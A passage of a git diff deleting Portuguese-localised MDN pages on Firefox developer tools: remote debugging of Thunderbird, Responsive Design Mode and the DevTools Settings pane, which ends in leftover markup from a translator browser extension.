-<p>All that needs to be done in Thunderbird is enabling the debugger server. This can be done using <code>Tools</code> from the Menu Bar (alt + Tools) and selecting <code>Allow Remote Debugging</code>. By default, a debugger server will be started on port 6000. If you would like to change this port, for example to debug multiple profiles, you must open the advanced config editor and change the preference <code>devtools.debugger.remote-port</code>.</p>
-
-<h2 id="Configurar_o_Firefox">Configurar o Firefox</h2>
-
-<p>Firefox acts as the client and provides the user interface to control the developer tools for Thunderbird. It's best to use a Firefox and Thunderbird version with a matching major version number, but in some cases it will work even with differing versions.</p>
-
-<p>To set up Firefox, remote debugging is enabled by a setting in the Toolbox. <a href="/en-US/docs/Tools_Toolbox" title="/en-US/docs/Tools_Toolbox">Open the Toolbox</a>, click the "Settings" button in the <a href="/en-US/docs/Tools_Toolbox#Toolbar" title="/en-US/docs/Tools_Toolbox#Toolbar">toolbar</a>, and check "Enable remote debugging" in the <a href="/en-US/docs/Tools_Toolbox#Settings" title="/en-US/docs/Tools_Toolbox#Settings">Settings </a>tab:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/5827/remote-debugger-toolbox-settings.png"></p>
-
-<p>Now you can open the connection page in Firefox via the tools menu:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/5811/remote-debugging-connect-menuitem.png" style="height: 503px; width: 583px;"></p>
-
-<p>A page will open in the browser; you can add this to your bookmarks toolbar if you like. In case you didn't change the remote port, the fields will already be filled out correctly. Click on the Connect button to initiate the developer tools remote connection.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/5813/remote-debugging-desktop-connect.png" style="height: 686px; width: 732px;"></p>
-
-<p>Afterwards you will be presented with a list of remote tabs and processes. As Thunderbird's notion of tabs doesn't match Firefox, the remote tabs area shows all xul:browser elements in Thunderbird. This can be a content tab, or the message reader. In most cases you will want to select "Main Process" to debug the Thunderbird code itself. A new window opens containing a set of developer tools that can be used with your Thunderbird instance.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/5819/remote-debugging-desktop-select-target.png"></p>
-
-<h2 id="Utilizar_as_Ferramentas_de_Desenvolvimento">Utilizar as Ferramentas de Desenvolvimento</h2>
-
-<p>Usage of the tools is mostly self explanatory. If you are having trouble with a certain tool, check the <a href="/en-US/docs/Tools/Remote_Debugging">Developer Tools documentation</a>. Due to a remote connection being used there might be some slight differences. Some tools might not be available, and it is also possible that performance is not comparable. For example, using the remote debugger tool takes quite some time to load because the files must be transferred over an internal network connection.</p>
-
-<h2 id="Resolução_de_problemas">Resolução de problemas</h2>
-
-<p>If you encounter an error, the first thing you should check is if you are using matching version numbers. If you are using Thunderbird 24, you should also use Firefox 24 to connect. Next, it important to figure out if it is a problem with the Firefox Developer Tools or with the remote connection code in Thunderbird. To verify this, please try to reproduce the problem using only Firefox. For example, if you notice that you cannot set an attribute value in the Inspector tool, try changing an attribute in the Browser Debugger in Firefox. If you cannot reproduce it there, file a bug in the Thunderbird product, otherwise file a bug in Firefox/Developer Tools.</p>
diff --git a/files/pt-pt/tools/responsive_design_mode/index.html b/files/pt-pt/tools/responsive_design_mode/index.html
deleted file mode 100644
index 6c360e9e9d..0000000000
--- a/files/pt-pt/tools/responsive_design_mode/index.html
+++ /dev/null
@@ -1,215 +0,0 @@
----
-title: Modo de Desenho Adaptável
-slug: Tools/Responsive_Design_Mode
-tags:
- - Desenho
- - Desenho Adaptável
- - Desenvolvimento de Web
- - Ferramentas
- - Ferramentas de Desenvolvimento
- - Firefox
- - Guía
- - l10n:priority
-translation_of: Tools/Responsive_Design_Mode
-original_slug: Tools/Modo_de_Desenho_Adaptavel
----
-<div>{{ToolsSidebar}}</div>
-
-<p><a href="https://developer.mozilla.org/pt-PT/docs/Web/Apps/Progressiva">Desenho adaptável</a> is the practice of designing a website so it looks and works properly on a range of different devices — particularly mobile phones and tablets as well as desktops and laptops.</p>
-
-<p>The most obvious factor here is screen size, but there are other factors as well, including the pixel density of the display and whether it supports touch. Responsive Design Mode gives you a simple way to simulate these factors, to test how your website will look and behave on different devices.</p>
-
-<h2 id="Alternar_Modo_de_Desenho_Adaptável">Alternar Modo de Desenho Adaptável</h2>
-
-<p>There are three ways to toggle Responsive Design Mode:</p>
-
-<ul>
- <li>From the Firefox menu: Select "Responsive Design Mode" from the Web Developer submenu in the Firefox Menu (or Tools menu if you display the menu bar or are on macOS).</li>
- <li>From the Developer Tools toolbox: Press the "Responsive Design Mode" button in the <a href="/en-US/docs/Tools_Toolbox#Toolbar" title="/en-US/docs/Tools_Toolbox#Toolbar">Toolbox's toolbar</a>:<img alt="" src="https://mdn.mozillademos.org/files/14339/rdm-button.png" style="display: block; height: 746px; margin-left: auto; margin-right: auto; width: 948px;"></li>
- <li>From the keyboard: Press Ctrl + Shift + M (or Cmd + Opt + M on macOS).</li>
-</ul>
-
-<h2 id="Utilizar_Modo_de_Desenho_Adaptável">Utilizar Modo de Desenho Adaptável</h2>
-
-<p>With Responsive Design Mode enabled, the content area for web pages is set to the screen size for the particular device. Initially, it's set to 320 x 480 pixels.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14947/rdm-open-2.png" style="display: block; height: 858px; margin-left: auto; margin-right: auto; width: 948px;"></p>
-
-<p>You can show or hide the Developer Tools toolbox independently of toggling Responsive Design Mode itself:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14933/rdm-toolbox-2.png" style="display: block; height: 752px; margin-left: auto; margin-right: auto; width: 948px;">While Responsive Design Mode is enabled, you can continue browsing as you normally would in the resized content area.</p>
-
-<h2 id="Seleção_de_dispositivo">Seleção de dispositivo</h2>
-
-<p>Just above the viewport you'll see a label "no device selected"; click this to see a list of device names. Select a device, and Responsive Design Mode will set the following properties to match the selected device:</p>
-
-<ul>
- <li>Screen size</li>
- <li>Device pixel ratio (the ratio of device physical pixels to device-independent pixels)</li>
- <li>Touch event simulation</li>
-</ul>
-
-<p>Additionally, Firefox will set the <a href="/en-US/docs/Web/HTTP/Headers/User-Agent">User-Agent</a> HTTP request header to identify itself as the default browser on the selected device. For example, if you've selected an iPhone, then Firefox will identify itself as Safari. The <code><a href="/en-US/docs/Web/API/NavigatorID/userAgent">navigator.userAgent</a></code> property will be set to the same value.</p>
-
-<p>{{EmbedYouTube("JNAyKemudv0")}}</p>
-
-<p>The devices listed in the drop-down are just a subset of the devices that can be selected. At the end of the drop-down, you'll see an item labeled "Edit list...". Select this to see a panel containing all the choices, which enables you to check the devices you want to see in the drop-down. The set of devices, and the values associated with each device, are taken from <span class="im"><a href="https://github.com/mozilla/simulated-devices">https://github.com/mozilla/simulated-devices.</a></span></p>
-
-<h3 id="Guardar_dispositivos_personalizados">Guardar dispositivos personalizados</h3>
-
-<p>Starting in Firefox 54, you can save custom devices in Responsive Design Mode. Each device can have its own:</p>
-
-<ul>
- <li>Size</li>
- <li>DevicePixelRatio</li>
- <li>User agent</li>
- <li>Touch support</li>
-</ul>
-
-<p>Also, you can preview the properties of existing devices by hovering over the name in the device modal where they will display in a tooltip.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14797/RDM%20Custom%20Device.gif" style="display: block; height: 800px; margin: 0px auto; width: 800px;"></p>
-
-<h2 id="Controlos_de_dispositivo">Controlos de dispositivo</h2>
-
-<p>You can also supply custom values for most device properties.</p>
-
-<h3 id="Definir_tamanho_do_ecrã">Definir tamanho do ecrã</h3>
-
-<p>To set screen size, click on the values under the viewport, and edit them:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14939/rdm-set-size-2.png" style="display: block; height: 758px; margin-left: auto; margin-right: auto; width: 948px;"></p>
-
-<p>You can also grab the bottom-left corner of the viewport and drag the viewport to the size you want.</p>
-
-<p>And from Firefox 59 onward, you can now edit the screen size with the keyboard. When you are focused on (or your caret is within) either of the two dimension values, you can press or hold down the up and down cursor keys to increase or decrease the dimension value by 1 pixel each time.</p>
-
-<p>If you want to change the dimensions more rapidly, you can hold down the Shift key, then press or hold down the up and down cursor keys to increase or decrease the dimension value by 10 pixels each time.</p>
-
-<h3 id="Definir_proporção_do_píxel_do_dispositivo">Definir proporção do píxel do dispositivo</h3>
-
-<p>To set a custom device pixel ratio, click the list box labeled "DPR" and select the value you want:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14941/rdm-set-dpr-2.png" style="display: block; height: 758px; margin-left: auto; margin-right: auto; width: 948px;"></p>
-
-<h3 id="Alternar_simulação_do_evento_de_toque">Alternar simulação do evento de toque</h3>
-
-<p>To enable/disable touch event simulation, click the icon of a hand with a pointy finger:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14935/rdm-toggle-touch-2.png" style="display: block; height: 758px; margin-left: auto; margin-right: auto; width: 948px;">While touch event simulation is enabled, mouse events are translated into <a href="/en-US/docs/Web/Guide/API/DOM/Events/Touch_events">touch events</a>.</p>
-
-<h3 id="Controlar_o_comportamento_de_recarregar_a_página">Controlar o comportamento de recarregar a página</h3>
-
-<p>New in Firefox 60 is the <em>Reload when...</em> drop-down menu:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/15841/reload-behavior-controls.png" style="display: block; margin: 0 auto;"></p>
-
-<p>Clicking it reveals two options, both of which are disabled by default:</p>
-
-<ul>
- <li>Reload when touch simulation is toggled: Checking this checkbox causes an automatic page reload whenever touch event simulation is enabled.</li>
- <li>Reload when user agent is changed: Checking this checkbox causes an automatic page reload whenever the user agent is changed.</li>
-</ul>
-
-<p>Before Firefox 60, such reloads occurred automatically because certain page behaviors would otherwise not be applied. For example, many pages check for touch support on load and only add event handlers if it is supported, or only enable certain features on certain browsers.</p>
-
-<p>However, if you are not interested in examining such features (maybe you are just checking the overall layout at different sizes), these reloads can waste time and possibly result in the loss of productive work, so it is useful to be able to control these reloads.</p>
-
-<p>Now when you change such settings for the first time, you'll be given a warning message that tells you these reloads are no longer automatic, and informed about how you can make them automatic. For example:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/15840/page-reload-warning.png" style="display: block; margin: 0 auto;"></p>
-
-<h3 id="Alternar_orientação">Alternar orientação</h3>
-
-<p>To switch the screen orientation between portrait and landscape, click the icon next to the device selector:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14937/rdm-toggle-orientation-2.png" style="display: block; height: 758px; margin-left: auto; margin-right: auto; width: 948px;"></p>
-
-<h2 id="Acelerar_a_rede">Acelerar a rede</h2>
-
-<p>If you do all your development and testing using a very fast network connection, you may see problems with your site as soon as it's accessed using a slower connection. In Responsive Design Mode you can instruct the browser to emulate, very approximately, the characteristics of various different types of networks.</p>
-
-<p>The characteristics emulated are:</p>
-
-<ul>
- <li>Download speed</li>
- <li>Upload speed</li>
- <li>Minimum latency</li>
-</ul>
-
-<p>The table below lists the numbers associated with each network type, but please do not rely on this feature for exact performance measurements; it's intended to give an approximate idea of the user experience in different conditions.</p>
-
-<table class="fullwidth-table standard-table">
- <thead>
- <tr>
- <th scope="col">Selection</th>
- <th scope="col">Download speed</th>
- <th scope="col">Upload speed</th>
- <th scope="col">Minimum latency (ms)</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>GPRS</td>
- <td>50 KB/s</td>
- <td>20 KB/s</td>
- <td>500</td>
- </tr>
- <tr>
- <td>Regular 2G</td>
- <td>250 KB/s</td>
- <td>50 KB/s</td>
- <td>300</td>
- </tr>
- <tr>
- <td>Good 2G</td>
- <td>450 KB/s</td>
- <td>150 KB/s</td>
- <td>150</td>
- </tr>
- <tr>
- <td>Regular 3G</td>
- <td>750 KB/s</td>
- <td>250 KB/s</td>
- <td>100</td>
- </tr>
- <tr>
- <td>Good 3G</td>
- <td>1.5 MB/s</td>
- <td>750 KB/s</td>
- <td>40</td>
- </tr>
- <tr>
- <td>Regular 4G/LTE</td>
- <td>4 MB/s</td>
- <td>3 MB/s</td>
- <td>20</td>
- </tr>
- <tr>
- <td>DSL</td>
- <td>2 MB/s</td>
- <td>1 MB/s</td>
- <td>5</td>
- </tr>
- <tr>
- <td>Wi-Fi</td>
- <td>30 MB/s</td>
- <td>15 MB/s</td>
- <td>2</td>
- </tr>
- </tbody>
-</table>
-
-<p>To select a network, click the list box that's initially labeled "No throttling":</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14945/rdm-network-2.png" style="display: block; height: 758px; margin-left: auto; margin-right: auto; width: 948px;"></p>
-
-<h2 id="Capturar_Ecrã">Capturar Ecrã</h2>
-
-<p>To take a screenshot of the viewport, click the camera icon:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14943/rdm-screenshot-2.png" style="display: block; height: 758px; margin-left: auto; margin-right: auto; width: 948px;"></p>
-
-<p>Screenshots are saved to Firefox's default download location.</p>
-
-<p>Starting in Firefox 53, if you checked "Screenshot to clipboard" in the Developer Tools <a href="/en-US/docs/Tools/Settings">Settings</a> page, then the screenshot will also be copied to the system clipboard.</p>
diff --git a/files/pt-pt/tools/settings/index.html b/files/pt-pt/tools/settings/index.html
deleted file mode 100644
index 2f76fb3b10..0000000000
--- a/files/pt-pt/tools/settings/index.html
+++ /dev/null
@@ -1,245 +0,0 @@
----
-title: Configurações
-slug: Tools/Settings
-translation_of: Tools/Settings
-original_slug: Tools/Configurações
----
-<div>{{ToolsSidebar}}</div><h2 id="Abrir_as_Configurações">Abrir as Configurações</h2>
-
-<p>Para ver o painel das 'Configurações das Ferramentas de Desenvolviemtno', abra quaisquer 'Ferramentas de Desenvolvimento', e depois:</p>
-
-<ul>
- <li>either click the "Settings" button (<img alt="" src="https://mdn.mozillademos.org/files/13158/settings-icon.png" style="display: inline-block; height: 25px; margin-bottom: -7px; width: 24px;">) in the Toolbox toolbar:<img alt="" src="https://mdn.mozillademos.org/files/13176/settings-show-icon.png" style="display: block; height: 632px; margin-left: auto; margin-right: auto; width: 890px;"></li>
- <li>or press <kbd>F1</kbd> to toggle between the active tool and the Settings pane</li>
- <li>or press <kbd>Ctrl/Cmd</kbd>+<kbd>Shift</kbd>+<kbd>O</kbd> to toggle between the active tool and the Settings pane</li>
-</ul>
-
-<p>The Settings pane looks something like this:</p>
-
-<p><img alt="Depicts the Toolbox options" src="https://mdn.mozillademos.org/files/14703/devtool-settings-squashed.png" style=""></p>
-
-<h2 id="Categorias">Categorias</h2>
-
-<h3 id="Default_Firefox_Developer_Tools">Default Firefox Developer Tools</h3>
-
-<p>This group of checkboxes determines which tools are enabled in the toolbox. New tools are often included in Firefox but not enabled by default.</p>
-
-<h3 id="Botões_Disponíveis_da_Caixa_de_Ferramentas">Botões Disponíveis da Caixa de Ferramentas</h3>
-
-<p>This group of checkboxes determines which tools get <a href="https://developer.mozilla.org/en-US/docs/Tools/Tools_Toolbox#Extra_tools">an icon in the Toolbox's toolbar</a>.</p>
-
-<p>Note that in Firefox 52 we removed the checkbox to toggle the <a href="/en-US/docs/Tools/Page_Inspector/UI_Tour#Select_element_button">"Select element" button</a>. The "Select element" button is now always shown.</p>
-
-<h3 id="Temas">Temas</h3>
-
-<p>This enables you to choose one of three different themes.</p>
-
-<p>There's a light theme, which is the default:</p>
-
-<p><img alt="Light theme for DevTools" src="https://mdn.mozillademos.org/files/13172/theme-light-shadowed.png" style="display: block; height: 317px; margin-left: auto; margin-right: auto; width: 890px;"></p>
-
-<p>A dark theme (the default on <a href="/en-US/docs/Mozilla/Firefox/Developer_Edition">Firefox Developer Edition</a>):</p>
-
-<p><img alt="Dark theme for DevTools" src="https://mdn.mozillademos.org/files/13168/theme-dark.png" style="display: block; height: 306px; margin-left: auto; margin-right: auto; width: 875px;"></p>
-
-<p>There's also a Firebug theme that looks like the <a href="https://getfirebug.com/">Firebug extension</a>, letting you feel at home if you're used to Firebug:</p>
-
-<p><img alt="Firebug theme for DevTools" src="https://mdn.mozillademos.org/files/13170/theme-firebug-shadowed.png" style="display: block; height: 318px; margin-left: auto; margin-right: auto; width: 890px;"></p>
-
-<h3 id="Preferências_comuns">Preferências comuns</h3>
-
-<p>Settings that apply to more than one tool. There's just one of these:</p>
-
-<dl>
- <dt><em>Enable persistent logs</em></dt>
- <dd>A setting to control whether or not the Web Console and Network Monitor clear their output when you navigate to a new page.</dd>
-</dl>
-
-<h3 id="Inspetor">Inspetor</h3>
-
-<dl>
- <dt><em>Show browser styles</em></dt>
- <dd>A setting to control whether styles applied by the browser (<a href="/en-US/docs/Web/CSS/Cascade">user-agent styles</a>) should be displayed in the Inspector's <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS#Examine_CSS_rules">Rules view</a>. Note that this setting is independent of the "Browser styles" checkbox in the Inspector's <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS#Examine_computed_CSS">Computed view</a>.</dd>
- <dt><em>Truncate DOM attributes</em></dt>
- <dd>By default, the Inspector truncates DOM attributes that are more than 120 characters long. Uncheck this box to prevent this behavior. This setting works by toggling the about:config preference "devtools.markup.collapseAttributes". To change the threshold at which attributes are truncated, you can edit the about:config preference "devtools.markup.collapseAttributeLength".</dd>
- <dt><em>Default color unit</em></dt>
- <dd>A setting to control how colors are represented in the inspector:
- <ul>
- <li>Hex</li>
- <li>HSL(A)</li>
- <li>RGB(A)</li>
- <li>color name</li>
- <li>As authored.</li>
- </ul>
- </dd>
- <dt><em>Enable layout panel</em></dt>
- <dd>Enable the experimental layout panel. This setting only exists in Firefox Nightly.</dd>
-</dl>
-
-<h3 id="Consola_da_Web">Consola da Web</h3>
-
-<dl>
- <dt><em>Enable timestamps</em></dt>
- <dd>Controls whether the Web Console displays timestamps. The Web Console defaults to hiding timestamps.</dd>
- <dt><em>Enable new console frontend</em></dt>
- <dd>Switch to the experimental new console. This setting only exists in Firefox Nightly.</dd>
-</dl>
-
-<h3 id="Depurador">Depurador</h3>
-
-<dl>
- <dt><em>Enable Source Maps</em></dt>
- <dd>Enable <a href="/en-US/docs/Tools/Debugger/How_to/Use_a_source_map">source map support</a> in the debugger.</dd>
- <dt><em>Enable new debugger frontend</em></dt>
- <dd>Enable the new debugger. This setting only exists in Firefox Nightly.</dd>
-</dl>
-
-<h3 id="Editor_de_Estilo">Editor de Estilo</h3>
-
-<dl>
- <dt><em>Show original sources</em></dt>
- <dd>When a CSS preprocessor supporting source maps is used, this enables the Style Editor to display the original, preprocessor, sources rather than the generated CSS. <a href="/en-US/docs/Tools/Style_Editor#Source_map_support">Learn more about Style Editor support for CSS source maps</a>. With this setting checked, the <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS#Link_to_CSS_file">Page Inspector Rules view will also provide links to the original sources</a>.</dd>
- <dt><em>Autocomplete CSS</em></dt>
- <dd>Enable the Style Editor to offer autocomplete suggestions.</dd>
-</dl>
-
-<h3 id="Comportamento_da_Captura_de_Ecrã">Comportamento da Captura de Ecrã</h3>
-
-<dl>
- <dt><em>Screenshot to clipboard</em></dt>
- <dd>When you click the icon for the <a href="/en-US/docs/Tools/Screenshot_tool">Screenshot tool</a>, copy the screenshot image to the clipboard (the image will still be saved to your Downloads directory). New in Firefox 53.</dd>
- <dt><em>Play camera shutter sound</em></dt>
- <dd>When you click the icon for the <a href="/en-US/docs/Tools/Screenshot_tool">Screenshot tool</a>, play a shutter sound. New in Firefox 53.</dd>
-</dl>
-
-<h3 id="Preferências_do_Editor">Preferências do Editor</h3>
-
-<p>Preferences for the <a href="http://codemirror.net/">CodeMirror</a> source editor, which is included in Firefox and used by several developer tools, including <a href="/en-US/docs/Tools/Scratchpad">Scratchpad</a> and the <a href="/en-US/docs/Tools/Style_Editor">Style Editor</a>.</p>
-
-<dl>
- <dt><em>Detect indentation</em></dt>
- <dd>Auto-indent new lines based on the current indentation.</dd>
- <dt><em>Autoclose brackets</em></dt>
- <dt> </dt>
- <dt><em>Indent using spaces</em></dt>
- <dt> </dt>
- <dt><em>Tab size</em></dt>
- <dt> </dt>
- <dt><em>Keybindings</em></dt>
- <dd>Choose the default CodeMirror keybindings, or keybindings from one of several popular editors:
- <ul>
- <li>Vim</li>
- <li>Emacs</li>
- <li>Sublime Text</li>
- </ul>
- </dd>
-</dl>
-
-<h3 id="Configurações_avançadas">Configurações avançadas</h3>
-
-<dl>
- <dt><em>Show Gecko platform data</em></dt>
- <dd>A setting to control whether or not profiles should include Gecko platform symbols.</dd>
-</dl>
-
-<dl>
- <dt><em>Disable HTTP Cache</em></dt>
- <dd>Disable the browser HTTP cache to simulate first-load performance in all tabs that have the Toolbox open. This setting persists, meaning that if it is set, caching will be disabled whenever you reopen the devtools. Caching is re-enabled when the devtools are closed. Note that service workers are not affected by this option.
- <div class="note">Note that this option was called "Disable Cache" in Firefox versions previous to 49, but it was renamed to make it clearer that this affects the HTTP cache, and not <a href="/en-US/docs/Web/API/Service_Worker_API">Service Workers</a>/the <a href="/en-US/docs/Web/API/Cache">Cache API</a>.</div>
- </dd>
- <dt><em>Disable JavaScript</em></dt>
- <dd>Reload the current tab with JavaScript disabled.</dd>
- <dt><em>Enable Service Workers over HTTP</em></dt>
- <dd>Enable Service Worker registrations from insecure websites.</dd>
- <dt><em>Enable browser chrome and add-on debugging toolboxes</em></dt>
- <dd>Enable you to use developer tools in the context of the browser itself, and not only web content.</dd>
- <dt><em>Enable remote debugging</em></dt>
- <dd>Enable the developer tools to <a href="/en-US/docs/Tools/Remote_Debugging">debug remote Firefox instances</a>.</dd>
- <dt><em>Enable worker debugging</em></dt>
- <dd>Enable a panel within the debugger to debug workers.
- <p class="note">Nota: This option got removed from the UI in Firefox 56, because this version ships with a <a href="/en-US/docs/Tools/Debugger">new Debugger UI</a>, but it can still be enabled for the old UI by setting the preference <code>devtools.debugger.workers</code> to <code>true</code>.</p>
- </dd>
-</dl>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 1; display: none; left: -8px; top: -25px;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody>
- <tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody>
- <tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
